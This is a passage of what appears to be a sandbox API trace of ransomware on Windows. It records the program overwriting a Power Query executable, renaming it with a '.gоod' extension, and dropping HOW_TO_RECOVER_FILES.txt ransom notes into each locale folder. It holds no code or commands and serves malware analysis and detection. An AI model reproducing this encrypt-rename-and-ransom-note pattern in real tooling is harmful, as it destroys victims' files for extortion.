Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", lpFilePart=0x0) returned 0x8c [0211.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0211.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.256] GetFileType (hFile=0x858) returned 0x1 [0211.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0211.256] GetFileType (hFile=0x858) returned 0x1 [0211.256] WriteFile (in: hFile=0x858, lpBuffer=0x35bc338*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x35bc338*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0211.257] CloseHandle (hObject=0x858) returned 1 [0211.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe", lpFilePart=0x0) returned 0x8c [0211.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.gоod", lpFilePart=0x0) returned 0x91 [0211.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0211.257] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7a22731f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ae0)) returned 1 [0211.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0211.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx45.exe.gоod")) returned 1 [0211.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0211.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar", lpFilePart=0x0) returned 0x68 [0211.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0211.260] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.261] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0211.261] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0211.261] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0211.261] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0211.261] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.261] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0211.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0211.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0211.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0211.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar", lpFilePart=0x0) returned 0x68 [0211.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0211.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0211.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0211.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0211.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0211.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0211.264] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0211.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0211.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0211.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0211.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0211.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0211.874] GetFileType (hFile=0x820) returned 0x1 [0211.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0211.874] GetFileType (hFile=0x820) returned 0x1 [0211.894] WriteFile (in: hFile=0x820, lpBuffer=0x3732880*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3732880*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0211.895] CloseHandle (hObject=0x820) returned 1 [0211.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0211.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg", lpFilePart=0x0) returned 0x68 [0211.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0211.897] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.897] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f7b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f7b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0211.897] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0211.898] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0211.898] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0211.898] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.898] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0211.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0211.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0211.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0211.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg", lpFilePart=0x0) returned 0x68 [0211.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab60 [0211.899] FindNextFileW (in: hFindFile=0x134ab60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.900] FindNextFileW (in: hFindFile=0x134ab60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f7b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f7b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0211.900] FindNextFileW (in: hFindFile=0x134ab60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0211.900] FindNextFileW (in: hFindFile=0x134ab60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0211.900] FindNextFileW (in: hFindFile=0x134ab60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0211.900] FindNextFileW (in: hFindFile=0x134ab60, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a9d821, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0211.900] FindClose (in: hFindFile=0x134ab60 | out: hFindFile=0x134ab60) returned 1 [0211.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0211.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0211.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0211.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0211.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0211.903] GetFileType (hFile=0x820) returned 0x1 [0211.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0211.903] GetFileType (hFile=0x820) returned 0x1 [0211.903] WriteFile (in: hFile=0x820, lpBuffer=0x3746098*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3746098*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0211.904] CloseHandle (hObject=0x820) returned 1 [0211.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0211.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program 